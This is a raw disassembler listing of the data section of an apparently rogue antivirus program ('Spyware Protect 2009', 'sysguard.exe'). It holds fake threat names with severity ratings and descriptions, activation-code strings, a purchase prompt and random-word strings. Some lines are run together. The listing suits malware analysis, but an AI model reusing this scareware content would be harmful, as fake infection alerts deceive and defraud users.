dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h
dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0
aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: UPX0:0042ADE4o
aMmDdYy db 'MM/dd/yy',0 ; DATA XREF: UPX0:0042ADE0o
align 4
aPm db 'PM',0 ; DATA XREF: UPX0:0042ADDCo
align 10h
aAm db 'AM',0 ; DATA XREF: UPX0:0042ADD8o
align 4
aDecember db 'December',0 ; DATA XREF: UPX0:0042ADD4o
align 10h
aNovember db 'November',0 ; DATA XREF: UPX0:0042ADD0o
align 4
aOctober db 'October',0 ; DATA XREF: UPX0:0042ADCCo
aSeptember db 'September',0 ; DATA XREF: UPX0:0042ADC8o
align 10h
aAugust db 'August',0 ; DATA XREF: UPX0:0042ADC4o
align 4
aJuly db 'July',0 ; DATA XREF: UPX0:0042ADC0o
align 10h
aJune db 'June',0 ; DATA XREF: UPX0:0042ADBCo
align 4
aApril db 'April',0 ; DATA XREF: UPX0:0042ADB4o
align 10h
aMarch db 'March',0 ; DATA XREF: UPX0:0042ADB0o
align 4
aFebruary db 'February',0 ; DATA XREF: UPX0:0042ADACo
align 4
aJanuary db 'January',0 ; DATA XREF: UPX0:0042ADA8o
aDec db 'Dec',0 ; DATA XREF: UPX0:0042ADA4o
aNov db 'Nov',0 ; DATA XREF: UPX0:0042ADA0o
aOct db 'Oct',0 ; DATA XREF: UPX0:0042AD9Co
aSep db 'Sep',0 ; DATA XREF: UPX0:0042AD98o
aAug db 'Aug',0 ; DATA XREF: UPX0:0042AD94o
aJul db 'Jul',0 ; DATA XREF: UPX0:0042AD90o
aJun db 'Jun',0 ; DATA XREF: UPX0:0042AD8Co
aMay db 'May',0 ; DATA XREF: UPX0:0042AD88o
; UPX0:0042ADB8o
aApr db 'Apr',0 ; DATA XREF: UPX0:0042AD84o
aMar db 'Mar',0 ; DATA XREF: UPX0:0042AD80o
aFeb db 'Feb',0 ; DATA XREF: UPX0:0042AD7Co
aJan db 'Jan',0 ; DATA XREF: UPX0:0042AD78o
aSaturday db 'Saturday',0 ; DATA XREF: UPX0:0042AD74o
align 4
aFriday db 'Friday',0 ; DATA XREF: UPX0:0042AD70o
align 10h
aThursday db 'Thursday',0 ; DATA XREF: UPX0:0042AD6Co
align 4
aWednesday db 'Wednesday',0 ; DATA XREF: UPX0:0042AD68o
align 4
aTuesday db 'Tuesday',0 ; DATA XREF: UPX0:0042AD64o
aMonday db 'Monday',0 ; DATA XREF: UPX0:0042AD60o
align 4
aSunday db 'Sunday',0 ; DATA XREF: UPX0:0042AD5Co
align 10h
aSat db 'Sat',0 ; DATA XREF: sub_4128E7+105r
; UPX0:0042AD58o
aFri db 'Fri',0 ; DATA XREF: UPX0:0042AD54o
aThu db 'Thu',0 ; DATA XREF: UPX0:0042AD50o
aWed db 'Wed',0 ; DATA XREF: UPX0:0042AD4Co
aTue db 'Tue',0 ; DATA XREF: UPX0:0042AD48o
aMon db 'Mon',0 ; DATA XREF: UPX0:0042AD44o
aSun db 'Sun',0 ; DATA XREF: UPX0:off_42AD40o
align 10h
byte_41EE90 db 6 ; DATA XREF: sub_4128E7+11Cr
db 2 dup(80h), 86h
dd 808180h, 86031000h, 80828680h, 45050514h, 85854545h
dd 585h, 50803030h, 8008880h, 38272800h, 805750h, 30370007h
dd 88505030h, 20000000h, 80888028h, 80h
aHHhhXppwpp db '`h`hhh',8,8,7,'xppwpp',8,8,0
dw 800h
dd 7000800h, 8
dword_41EEEC dd 4F4E4F43h, 245455haSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
dword_41EF34 dd 100h, 0 ; sub_406C2A+81o ...
dd 0C0h, 46000000h, 0
dword_41EF48 dd 53h, 41EF48h dword_41EF50 dd 4Dh, 41EF50h dword_41EF58 dd 44h, 41EF58h dword_41EF60 dd 42h, 41EF60h aVal: ; DATA XREF: sub_4083DE:loc_408581o
; UPX0:0041EF70o
unicode 0, <Val>,0
dd offset aVal ; "Val"
aForceremove: ; DATA XREF: sub_4083DE+97o
; UPX0:0041EF8Co
unicode 0, <ForceRemove>,0
dd offset aForceremove ; "ForceRemove"
aNoremove: ; DATA XREF: sub_4083DE:loc_408558o
; UPX0:0041EFA4o
unicode 0, <NoRemove>,0
align 4
dd offset aNoremove ; "NoRemove"
aDelete: ; DATA XREF: sub_4083DE+83o
; UPX0:0041EFB8o
unicode 0, <Delete>,0
align 4
dd offset aDelete ; "Delete"
aTypelib:
unicode 0, <TypeLib>,0
aSoftware:
unicode 0, <Software>,0
align 10h
aSystem:
unicode 0, <SYSTEM>,0
align 10h
dd offset byte_450053
aCurity:
unicode 0, <CURITY>,0
align 4
dd offset loc_410053
dd 4Dh, 69004Dh, 65006Dh, 0
aHardware:
unicode 0, <Hardware>,0
align 4
aInterface:
unicode 0, <Interface>,0
aFiletype:
unicode 0, <FileType>,0
align 4
aComponentCateg:
unicode 0, <Component Categories>,0
align 10h
aClsid:
unicode 0, <CLSID>,0
aAppid_1:
unicode 0, <AppID>,0
unicode 0, <:>,0
dd 2 dup(0)
dword_41F0A4 dd 20646162h, 6F6C6C61h, 69746163h, 6E6FhaHttp: ; DATA XREF: sub_417173+18o
unicode 0, <http://>,0
aMicrosoftInter: ; DATA XREF: sub_417173+71o
unicode 0, <Microsoft Internet Explorer>,0
aMicrosoftInt_0: ; DATA XREF: sub_417173+87o
unicode 0, <Microsoft Internet Explorer>,0
aAnonymous: ; DATA XREF: sub_417173+A1o
unicode 0, <anonymous>,0
aLdpinchV: ; DATA XREF: UPX0:off_42DA58o
unicode 0, <LdPinch V>,0
aCritical: ; DATA XREF: UPX0:off_42DA5Co
unicode 0, <Critical>,0
align 10h
aAVariantOfTheK: ; DATA XREF: UPX0:off_42DA60o
unicode 0, <A variant of the Key Logger that captures passwords as th>
unicode 0, <ey are entered or transmitted. Some password capture troj>
unicode 0, <ans impersonate the login prompt, asking the user to prov>
unicode 0, <ide their password.>,0
align 10h
aAdvancedStealt: ; DATA XREF: UPX0:0042DA64o
unicode 0, <Advanced Stealth Email Redirector 6.2>,0
aCritical_0: ; DATA XREF: UPX0:0042DA68o
unicode 0, <Critical>,0
align 10h
aAdvancedStea_0: ; DATA XREF: UPX0:0042DA6Co
unicode 0, <Advanced Stealth Email Redirector (Advanced SER) is a pro>
unicode 0, <gram that sends the copies of all outgoing emails. Advanc>
unicode 0, <ed SER monitors outgoing traffic of email client software>
unicode 0, < and intercepts all sending emails. Then program sends ou>
unicode 0, <t intercepted emails to specified email addresses. Advanc>
unicode 0, <ed Stealth Email Redirector (Advanced SER) do not interce>
unicode 0, <pts emails are sending from web-based email services like>
unicode 0, < a www.yahoo.com, www.hotmail.com etc.>,0
aVmalumAws: ; DATA XREF: UPX0:0042DA70o
unicode 0, <VMalum AWS>,0
align 4
aHigh: ; DATA XREF: UPX0:0042DA74o
unicode 0, <High>,0
align 10h
aTrojanAnyProgr: ; DATA XREF: UPX0:0042DA78o
unicode 0, <Trojan: Any program with a hidden intent. Trojans are on>
unicode 0, <e of the leading causes of breaking into machines. If you>
unicode 0, < pull down a program from a chat room, new group, or even>
unicode 0, < from unsolicited e-mail, then the program is likely troj>
unicode 0, <aned with some subversive purpose. The word Trojan can be>
unicode 0, < used as a verb: To trojan a program is to add subversive>
unicode 0, < functionality to an existing program. For example, a tro>
unicode 0, <janed login program might be programmed to accept a certa>
unicode 0, <in password for any user`s account that the hacker can us>
unicode 0, <e to log back into the system at any time. Rootkits often>
unicode 0, < contain a suite of such trojaned programs.>,0
aCnnicUpdateU: ; DATA XREF: UPX0:0042DA7Co
unicode 0, <CNNIC Update U>,0
align 4
aVeryHigh: ; DATA XREF: UPX0:0042DA80o
unicode 0, <Very high>,0
aAProgramThatDo: ; DATA XREF: UPX0:0042DA84o
unicode 0, <A program that downloads and may execute or install softw>
unicode 0, <are without user permission.>,0
aBancosDmd: ; DATA XREF: UPX0:0042DA88o
unicode 0, <Bancos DMD>,0
align 4
aCritical_1: ; DATA XREF: UPX0:0042DA8Co
unicode 0, <Critical>,0
align 4
aAVariantOfTh_0: ; DATA XREF: UPX0:0042DA90o
unicode 0, <A variant of the Key Logger that captures passwords as th>
unicode 0, <ey are entered or transmitted. Some password capture troj>
unicode 0, <ans impersonate the login prompt, asking the user to prov>
unicode 0, <ide their password.>,0
align 4
aWin32_grams_i: ; DATA XREF: UPX0:0042DA94o
unicode 0, <Win32.Grams.I>,0
aCritical_2: ; DATA XREF: UPX0:0042DA98o
unicode 0, <Critical>,0
align 4
aWin32_grams_iI: ; DATA XREF: UPX0:0042DA9Co
unicode 0, <Win32.Grams.I is a trojan that attempts to steal e-Gold f>
unicode 0, <unds.>,0
align 4
aZlobAn: ; DATA XREF: UPX0:0042DAA0o
unicode 0, <Zlob AN>,0
aVeryHigh_0: ; DATA XREF: UPX0:0042DAA4o
unicode 0, <Very high>,0
aVeryHigh_1: ; DATA XREF: UPX0:0042DAB0o
unicode 0, <Very High>,0
aAProgramThat_0: ; DATA XREF: UPX0:0042DAA8o
unicode 0, <A program that downloads and may execute or install softw>
unicode 0, <are without user permission.>,0
aSillydlBcl: ; DATA XREF: UPX0:0042DAACo
unicode 0, <SillyDl BCL>,0
aCpush: ; DATA XREF: UPX0:0042DAB8o
unicode 0, <CPush>,0
aAProgramThat_1: ; DATA XREF: UPX0:0042DAB4o
unicode 0, <A program that downloads and may execute or install softw>
unicode 0, <are without user permission.>,0
aMedium: ; DATA XREF: UPX0:0042DABCo
unicode 0, <Medium>,0
align 10h
aCategoryAdware: ; DATA XREF: UPX0:0042DAC0o
unicode 0, <Category Adware: Software that displays pop-up/pop-under>
unicode 0, < advertisements when the primary user interface is not vi>
unicode 0, <sible, or which do not appear to be associated with the p>
unicode 0, <roduct.>,0
align 4
aWin32Wadnock: ; DATA XREF: UPX0:0042DAC4o
unicode 0, <Win32/Wadnock>,0
aHigh_0: ; DATA XREF: UPX0:0042DAC8o
unicode 0, <High>,0
align 10h
aWin32WadnockAr: ; DATA XREF: UPX0:0042DACCo
unicode 0, <Win32/Wadnock are a family of worms that spread by exploi>
unicode 0, <ting Windows vulnerabilities. They also disable direct ac>
unicode 0, <cess to Internet banking sites and have limited backdoor >
unicode 0, <functionality.>,0
aBestSearch: ; DATA XREF: UPX0:0042DAD0o
unicode 0, <Best search>,0
aMedium_0: ; DATA XREF: UPX0:0042DAD4o
unicode 0, <Medium>,0
align 10h
aCategoryAdwa_0: ; DATA XREF: UPX0:0042DAD8o
unicode 0, <Category Adware: Software that displays pop-up/pop-under>
unicode 0, < advertisements when the primary user interface is not vi>
unicode 0, <sible, or which do not appear to be associated with the p>
unicode 0, <roduct.>,0
align 4
aWin32Nuqel_e: ; DATA XREF: UPX0:0042DADCo
unicode 0, <Win32/Nuqel.E>,0
aHigh_1: ; DATA XREF: UPX0:0042DAE0o
unicode 0, <High>,0
align 10h
aWin32Nuqel_eIs: ; DATA XREF: UPX0:0042DAE4o
unicode 0, <Win32/Nuqel.E is a worm that spreads via network shares a>
unicode 0, <nd sends messages via the chat client Yahoo! Messenger. I>
unicode 0, <t also can obfuscate its presence on an affected system a>
unicode 0, <nd terminate processes.>,0
align 4
aEdgeTech: ; DATA XREF: UPX0:0042DAE8o
unicode 0, <Edge Tech>,0
aMedium_1: ; DATA XREF: UPX0:0042DAECo
unicode 0, <Medium>,0
align 10h
aCategoryAdwa_1: ; DATA XREF: UPX0:0042DAF0o
unicode 0, <Category Adware: Software that displays pop-up/pop-under>
unicode 0, < advertisements when the primary user interface is not vi>
unicode 0, <sible, or which do not appear to be associated with the p>
unicode 0, <roduct.>,0
align 4
aDisablekey: ; DATA XREF: UPX0:0042DAF4o
unicode 0, <DisableKey>,0
align 10h
aMedium_2: ; DATA XREF: UPX0:0042DAF8o
unicode 0, <Medium>,0
align 10h
aCategoryAdwa_2: ; DATA XREF: UPX0:0042DAFCo
unicode 0, <Category Adware: Software that displays pop-up/pop-under>
unicode 0, < advertisements when the primary user interface is not vi>
unicode 0, <sible, or which do not appear to be associated with the p>
unicode 0, <roduct.>,0
align 4
aEmogen_b: ; DATA XREF: UPX0:0042DB00o
unicode 0, <Emogen.B>,0
align 4
aMedium_3: ; DATA XREF: UPX0:0042DB04o
unicode 0, <Medium>,0
align 10h
aCategoryBackdo: ; DATA XREF: UPX0:0042DB08o
unicode 0, <Category Backdoor: It is a critical vulnerability in Inte>
unicode 0, <rnet Explorer versions 5.01 and 6 SP1 on Windows 2000, 6 >
unicode 0, <on Windows 2003/XP computers and 7 on Windows 2008/Vista/>
unicode 0, <2003/XP, which allows hackers to gain remote control of t>
unicode 0, <he affected computer with the same privileges as the logg>
unicode 0, <ed on user...>,0
align 4
aMoonlight_v: ; DATA XREF: UPX0:0042DB0Co
unicode 0, <MoonLight.V>,0
aHigh_2: ; DATA XREF: UPX0:0042DB10o
unicode 0, <High>,0
align 10h
aCategoryWormIt: ; DATA XREF: UPX0:0042DB14o
unicode 0, <Category Worm: Its main objective is to spread through pe>
unicode 0, <er-to-peer (P2P) file sharing programs and email. It reac>
unicode 0, <hes the computer in a file which has the default icon of >
unicode 0, <a Windows folder...>,0
align 10h
aAutorun_aol: ; DATA XREF: UPX0:0042DB18o
unicode 0, <Autorun.AOL>,0
aHigh_3: ; DATA XREF: UPX0:0042DB1Co
unicode 0, <High>,0
align 8
aCategoryWorm_0: ; DATA XREF: UPX0:0042DB20o
unicode 0, <Category Worm: It spreads exploiting the vulnerability ca>
unicode 0, <lled MS04-011, across networks and through removable driv>
unicode 0, <es. It has backdoor characteristics, as it attempts to co>
unicode 0, <nnect to an IRC channel in order to receive remote instru>
unicode 0, <ctions...>,0
aSinowal_vxr: ; DATA XREF: UPX0:0042DB24o
unicode 0, <Sinowal.VXR>,0
aVeryHigh_2: ; DATA XREF: UPX0:0042DB28o
unicode 0, <Very High>,0
aCategoryTrojan: ; DATA XREF: UPX0:0042DB2Co
unicode 0, <Category Trojan: It is designed to obtain confidential in>
unicode 0, <formation related to certain British banking entities. It>
unicode 0, < does not spread automatically by its own means...>,0
align 4
aAntivirus360: ; DATA XREF: UPX0:0042DB30o
unicode 0, <Antivirus360>,0
align 4
aHigh_4: ; DATA XREF: UPX0:0042DB34o
unicode 0, <High>,0
align 8
aCategoryAdwa_3: ; DATA XREF: UPX0:0042DB38o
unicode 0, <Category Adware: It deceives users and warns them of unex>
unicode 0, <isting threats in their computers. In order to eliminate >
unicode 0, <them, they are enticed to purchase a certain program. It >
unicode 0, <can be downloaded from the website belonging to the compa>
unicode 0, <ny that has developed it...>,0
aBankerfox_a: ; DATA XREF: UPX0:0042DB3Co
unicode 0, <BankerFox.A>,0
aMedium_4: ; DATA XREF: UPX0:0042DB40o
unicode 0, <Medium>,0
align 10h
aCategoryTroj_0: ; DATA XREF: UPX0:0042DB44o
unicode 0, <Category Trojan: It is designed to steal users banking da>
unicode 0, <ta related to certain banking entities. When they access >
unicode 0, <the website of the affected banks through the Firefox bro>
unicode 0, <wser, the Trojan is activated and logs the information en>
unicode 0, <tered by the users in the website. It does not spread aut>
unicode 0, <omatically using its own means...>,0
align 10h
aP2pshared_u: ; DATA XREF: UPX0:0042DB48o
unicode 0, <P2PShared.U>,0
aHigh_5: ; DATA XREF: UPX0:0042DB4Co
unicode 0, <High>,0
align 8
aCategoryWorm_1: ; DATA XREF: UPX0:0042DB50o
unicode 0, <Category Worm: Its main objective is to spread through pe>
unicode 0, <er-to-peer (P2P) file sharing programs, email and removab>
unicode 0, <le drives. It reaches the computer in a file which has th>
unicode 0, <e icon of a snowball...>,0
align 10h
aBittera_c: ; DATA XREF: UPX0:0042DB54o
unicode 0, <BitTera.C>,0
aCritical_3: ; DATA XREF: UPX0:0042DB58o
unicode 0, <Critical>,0
align 4
aCategoryVirusI: ; DATA XREF: UPX0:0042DB5Co
unicode 0, <Category Virus: It is a malicious tool which allows to cr>
unicode 0, <eate any type of malware with different functions, such a>
unicode 0, <s to disable the Task Manager, hide the Start button or p>
unicode 0, <revent the execution of the Notepad...>,0
aAzero_b: ; DATA XREF: UPX0:0042DB60o
unicode 0, <Azero.B>,0
aHigh_6: ; DATA XREF: UPX0:0042DB64o
unicode 0, <High>,0
align 4
aCategoryViru_0: ; DATA XREF: UPX0:0042DB68o
unicode 0, <Category Virus: It modifies the Desktop wallpaper and inf>
unicode 0, <ects executable files, which are then distributed through>
unicode 0, < any of the usual means...>,0
align 4
aSality_an: ; DATA XREF: UPX0:0042DB6Co
unicode 0, <Sality.AN>,0
aCritical_4: ; DATA XREF: UPX0:0042DB70o
unicode 0, <Critical>,0
align 10h
aCategoryViru_1: ; DATA XREF: UPX0:0042DB74o
unicode 0, <Category Virus: It infects executable files (with an EXE,>
unicode 0, < PIF and SCR) and downloads variants of the Trojan family>
unicode 0, < called Sinowal, designed to steal user>
dw 27h
unicode 0, <s banking entities. It spreads by distributing the previo>
unicode 0, <usly infected files and making copies of itself in the sy>
unicode 0, <stem and removable drives...>,0
align 4
aWinwebsecurity: ; DATA XREF: UPX0:0042DB78o
unicode 0, <WinWebSecurity2008>,0
align 4
aMedium_5: ; DATA XREF: UPX0:0042DB7Co
unicode 0, <Medium>,0
align 10h
aCategoryAdwa_4: ; DATA XREF: UPX0:0042DB80o
unicode 0, <Category Adware: It deceives users and warns them of unex>
unicode 0, <isting threats in their computers. In order to eliminate >
unicode 0, <them, they are enticed to purchase a certain program. It >
unicode 0, <can be downloaded from the website belonging to the compa>
unicode 0, <ny that has developed it...>,0
aDownloader_js_: ; DATA XREF: UPX0:0042DB84o
unicode 0, <Downloader.JS.Small.fi>,0
align 10h
aHigh_7: ; DATA XREF: UPX0:0042DB88o
unicode 0, <High>,0
align 10h
aCategoryTroj_1: ; DATA XREF: UPX0:0042DB8Co
unicode 0, <Category Trojan: This Trojan downloads other files via th>
unicode 0, <e Internet and launches them for execution on the victim >
unicode 0, <machine. The program is an HTML page which contains Java >
unicode 0, <Script scenarios. It is 1432 bytes in size. >,0
align 4
aPsw_win32_onli: ; DATA XREF: UPX0:0042DB90o
unicode 0, <PSW.Win32.OnLineGames.sxa>,0
aMedium_6: ; DATA XREF: UPX0:0042DB94o
unicode 0, <Medium>,0
align 4
aCategoryTroj_2: ; DATA XREF: UPX0:0042DB98o
unicode 0, <Category Trojan: This malicious program is a Trojan. It i>
unicode 0, <s a Windows PE EXE file. It is 118103 bytes in size. Inst>
unicode 0, <allation The Trojan copies its executable file to the Win>
unicode 0, <dows system directory: %System%\kavo.exe In order to ensu>
unicode 0, <re that the Trojan is launched automatically each time th>
unicode 0, <e system is restarted, the... >,0
align 4
aDownloader_win: ; DATA XREF: UPX0:0042DB9Co
unicode 0, <Downloader_Win32_Agent.nmi>,0
align 4
aCritical_5: ; DATA XREF: UPX0:0042DBA0o
unicode 0, <Critical>,0
align 10h
aCategoryTroj_3: ; DATA XREF: UPX0:0042DBA4o
unicode 0, <Category Trojan: This Trojan downloads another program vi>
unicode 0, <a the Internet and launches it on the victim machine with>
unicode 0, <out the user>
dword_4225FC dd 732019h, 6B0020h, 6F006Eh, 6C0077h, 640065h, 650067h
dd 6F0020h, 200072h, 6F0063h, 73006Eh, 6E0065h, 2E0074h
dd 490020h, 200074h, 730069h, 610020h, 570020h, 6E0069h
dd 6F0064h, 730077h, 500020h, 200045h, 580045h, 200045h
dd 690066h, 65006Ch, 20002Eh, 680054h, 200065h, 690073h
dd 65007Ah, 6F0020h, 200066h, 6E0069h, 650066h, 740063h
dd 640065h, 660020h, 6C0069h, 730065h, 630020h, 6E0061h
dd 720020h, 6E0061h, 650067h, 660020h, 6F0072h, 20006Dh
dd 380031h, 42004Bh, 740020h, 20006Fh, 370034h, 42004Bh
dd 20002Eh, 20h, 6F0044h, 6E0077h, 6F006Ch, 640061h, 720065h
dd 57002Eh, 6E0069h, 320033h, 42002Eh, 610072h, 640069h
dd 700075h, 610064h, 650074h, 63002Eh, 0
aHigh_8: ; DATA XREF: UPX0:0042DBACo
unicode 0, <High>,0
align 4
aCategoryTroj_4: ; DATA XREF: UPX0:0042DBB0o
unicode 0, <Category Trojan: This Trojan downloads another program vi>
unicode 0, <a the Internet and launches it on the victim machine with>
unicode 0, <out the user>
dd 732019h, 6B0020h, 6F006Eh, 6C0077h, 640065h, 650067h
dd 6F0020h, 200072h, 6F0063h, 73006Eh, 6E0065h, 2E0074h
dd 490020h, 200074h, 730069h, 610020h, 570020h, 6E0069h
dd 6F0064h, 730077h, 500020h, 200045h, 580045h, 200045h
dd 690066h, 65006Ch, 20002Eh, 740049h, 690020h, 200073h
dd 390037h, 360033h, 200030h, 790062h, 650074h, 200073h
dd 6E0069h, 730020h, 7A0069h, 2E0065h, 490020h, 200074h
dd 730069h, 770020h, 690072h, 740074h, 6E0065h, 690020h
dd 20006Eh, 2B0043h, 2E002Bh, 490020h, 73006Eh, 610074h
dd 6C006Ch, 740061h, 6F0069h, 20006Eh, 6E0049h, 6F0020h
dd 640072h, 720065h, 740020h, 20006Fh, 6E0065h, 750073h
dd 650072h, 740020h, 610068h, 200074h, 680074h, 200065h
dd 720054h, 6A006Fh, 6E0061h, 690020h, 200073h, 61006Ch
dd 6E0075h, 680063h, 640065h, 610020h, 740075h, 6D006Fh
dd 740061h, 630069h, 6C0061h, 79006Ch, 650020h, 630061h
dd 2E0068h, 2E002Eh, 200020h, 0
aDownloader_j_0: ; DATA XREF: UPX0:0042DBB4o
unicode 0, <Downloader.JS.Agent.sg>,0
align 4
aMedium_7: ; DATA XREF: UPX0:0042DBB8o
unicode 0, <Medium>,0
align 10h
aCategoryTroj_5: ; DATA XREF: UPX0:0042DBBCo
unicode 0, <Category Trojan: This Trojan downloads other files via th>
unicode 0, <e Internet and launches them for execution on the victim >
unicode 0, <machine. It is an HTML page which contains Visual Basic S>
unicode 0, <cript and Java Script. It is 677 bytes in size. >,0
align 10h
aGamethief_win3: ; DATA XREF: UPX0:0042DBC0o
unicode 0, <GameThief.Win32.OnLineGames.tnys>,0
align 4
aMedium_8: ; DATA XREF: UPX0:0042DBC4o
unicode 0, <Medium>,0
align 8
aCategoryTroj_6: ; DATA XREF: UPX0:0042DBC8o
unicode 0, <Category Trojan: This Trojan is designed to steal account>
unicode 0, < data from the online game LineAge2. It is a Windows PE E>
unicode 0, <XE file. It is 654848 bytes in size. >,0
align 4
aPsw_win32_on_0: ; DATA XREF: UPX0:0042DBCCo
unicode 0, <PSW.Win32.OnLineGames.rlh>,0
aHigh_9: ; DATA XREF: UPX0:0042DBD0o
unicode 0, <High>,0
align 10h
aCategoryTroj_7: ; DATA XREF: UPX0:0042DBD4o
unicode 0, <Category Trojan: This malicious program is a Trojan. It i>
unicode 0, <s a Windows PE EXE file. It is 112736 bytes in size. Inst>
unicode 0, <allation The Trojan copies its executable file to the Win>
unicode 0, <dows system directory: %System%\kavo.exe In order to ensu>
unicode 0, <re that the Trojan is launched automatically each time th>
unicode 0, <e system is restarted, the... >,0
align 4
aDownloader_w_0: ; DATA XREF: UPX0:0042DBD8o
unicode 0, <Downloader.Win32.Delf.cgx>,0
aHigh_10: ; DATA XREF: UPX0:0042DBDCo
unicode 0, <High>,0
align 10h
aCategoryTroj_8: ; DATA XREF: UPX0:0042DBE0o
unicode 0, <Category Trojan: This Trojan downloads other files via th>
unicode 0, <e Internet and launches them for execution on the victim >
unicode 0, <machine without the user>
dword_423144 dd 732019h, 6B0020h, 6F006Eh, 6C0077h, 640065h, 650067h
dd 6F0020h, 200072h, 6F0063h, 73006Eh, 6E0065h, 2E0074h
dd 490020h, 200074h, 730069h, 610020h, 570020h, 6E0069h
dd 6F0064h, 730077h, 500020h, 200045h, 580045h, 200045h
dd 690066h, 65006Ch, 20002Eh, 740049h, 690020h, 200073h
dd 380034h, 320031h, 200038h, 790062h, 650074h, 200073h
dd 6E0069h, 730020h, 7A0069h, 2E0065h, 490020h, 200074h
dd 730069h, 700020h, 630061h, 65006Bh, 200064h, 730075h
dd 6E0069h, 200067h, 450050h, 6F0043h, 70006Dh, 630061h
dd 2E0074h, 540020h, 650068h, 750020h, 70006Eh, 630061h
dd 65006Bh, 200064h, 690066h, 65006Ch, 690020h, 200073h
dd 700061h, 720070h, 78006Fh, 6D0069h, 740061h, 6C0065h
dd 200079h, 330031h, 4B0031h, 200042h, 6E0069h, 730020h
dd 7A0069h, 2E0065h, 490020h, 200074h, 730069h, 2E002Eh
dd 20002Eh, 20h, 610042h, 6B0063h, 6F0064h, 72006Fh, 57002Eh
dd 6E0069h, 320033h, 53002Eh, 61006Dh, 6C006Ch, 78002Eh
dd 0
aHigh_11: ; DATA XREF: UPX0:0042DBE8o
unicode 0, <High>,0
align 4
aCategoryBack_0: ; DATA XREF: UPX0:0042DBECo
unicode 0, <Category Backdoor: This Trojan provides a remote maliciou>
unicode 0, <s user with access to the victim machine. It is a Windows>
unicode 0, < PE EXE file. It is 1087 bytes in size. >,0
aAazalirt: ; DATA XREF: UPX0:off_42DBF0o
unicode 0, <aazalirt>,0
align 4
aSkaaanret: ; DATA XREF: UPX0:0042DBF4o
unicode 0, <skaaanret>,0
aJungertab: ; DATA XREF: UPX0:0042DBF8o
unicode 0, <jungertab>,0
aZibaglertz: ; DATA XREF: UPX0:0042DBFCo
unicode 0, <zibaglertz>,0
align 4
aIddqdops: ; DATA XREF: UPX0:0042DC00o
unicode 0, <iddqdops>,0
align 4
aRonitfst: ; DATA XREF: UPX0:0042DC04o
unicode 0, <ronitfst>,0
align 4
aTobmygers: ; DATA XREF: UPX0:0042DC08o
unicode 0, <tobmygers>,0
aJikglond: ; DATA XREF: UPX0:0042DC0Co
unicode 0, <jikglond>,0
align 4
aTobykke: ; DATA XREF: UPX0:0042DC10o
unicode 0, <tobykke>,0
aKlopnidret: ; DATA XREF: UPX0:0042DC14o
unicode 0, <klopnidret>,0
align 4
aJiklagka: ; DATA XREF: UPX0:0042DC18o
unicode 0, <jiklagka>,0
align 10h
aSalrtybek: ; DATA XREF: UPX0:0042DC1Co
unicode 0, <salrtybek>,0
aSeeukluba: ; DATA XREF: UPX0:0042DC20o
unicode 0, <seeukluba>,0
aJrjakdsd: ; DATA XREF: UPX0:0042DC24o
unicode 0, <jrjakdsd>,0
align 4
aKrkdkdkee: ; DATA XREF: UPX0:0042DC28o
unicode 0, <krkdkdkee>,0
aDkewiizkjdks: ; DATA XREF: UPX0:0042DC2Co
unicode 0, <dkewiizkjdks>,0
align 4
aDkekkrkska: ; DATA XREF: UPX0:0042DC30o
unicode 0, <dkekkrkska>,0
align 4
aRkaskssd: ; DATA XREF: UPX0:0042DC34o
unicode 0, <rkaskssd>,0
align 4
aKuruhccdsdd: ; DATA XREF: UPX0:0042DC38o
unicode 0, <kuruhccdsdd>,0
aKrujmmwlrra: ; DATA XREF: UPX0:0042DC3Co
unicode 0, <krujmmwlrra>,0
aKkwknrbsggeg: ; DATA XREF: UPX0:0042DC40o
unicode 0, <kkwknrbsggeg>,0
align 4
aKtknamwerr: ; DATA XREF: UPX0:0042DC44o
unicode 0, <ktknamwerr>,0
align 4
aIqmcnoeqz: ; DATA XREF: UPX0:0042DC48o
unicode 0, <iqmcnoeqz>,0
aIenotas: ; DATA XREF: UPX0:0042DC4Co
unicode 0, <ienotas>,0
aKrkmahejdk: ; DATA XREF: UPX0:0042DC50o
unicode 0, <krkmahejdk>,0
align 4
aOtpeppggq: ; DATA XREF: UPX0:0042DC54o
unicode 0, <otpeppggq>,0
aKrtawefg: ; DATA XREF: UPX0:0042DC58o
unicode 0, <krtawefg>,0
align 10h
aOranerkka: ; DATA XREF: UPX0:0042DC5Co
unicode 0, <oranerkka>,0
aKitiiwhaas: ; DATA XREF: UPX0:0042DC60o
unicode 0, <kitiiwhaas>,0
align 4
aOtowjdseww: ; DATA XREF: UPX0:0042DC64o
unicode 0, <otowjdseww>,0
align 4
aOtnnbektre: ; DATA XREF: UPX0:0042DC68o
unicode 0, <otnnbektre>,0
align 4
aOropbbsee: ; DATA XREF: UPX0:0042DC6Co
unicode 0, <oropbbsee>,0
aIrprokwks: ; DATA XREF: UPX0:0042DC70o
unicode 0, <irprokwks>,0
aOoorjaas: ; DATA XREF: UPX0:0042DC74o
unicode 0, <ooorjaas>,0
align 4
aSoftwareAvsc_0: ; DATA XREF: UPX0:0041C82Eo
unicode 0, <Software\AvScan>,0
aActcode: ; DATA XREF: sub_4170DD+18o
unicode 0, <actcode>,0
aReady: ; DATA XREF: sub_416F74+28o
unicode 0, <ready>,0
aReady_0: ; DATA XREF: sub_4170C1o
unicode 0, <ready>,0
aEmail_0: ; DATA XREF: sub_417023+31o
unicode 0, <email>,0
aEmail_1: ; DATA XREF: sub_41709B+7o
unicode 0, <email>,0
aPurchaseFullVe: ; DATA XREF: sub_417588+C0o
unicode 0, <Purchase full version Spyware Protect 2009>,0
align 10h
asc_4237A0: ; DATA XREF: sub_4173E1+56o
unicode 0, <\>,0
aSysguard_exe: ; DATA XREF: sub_4173E1+6Fo
unicode 0, <sysguard.exe>,0
align 10h
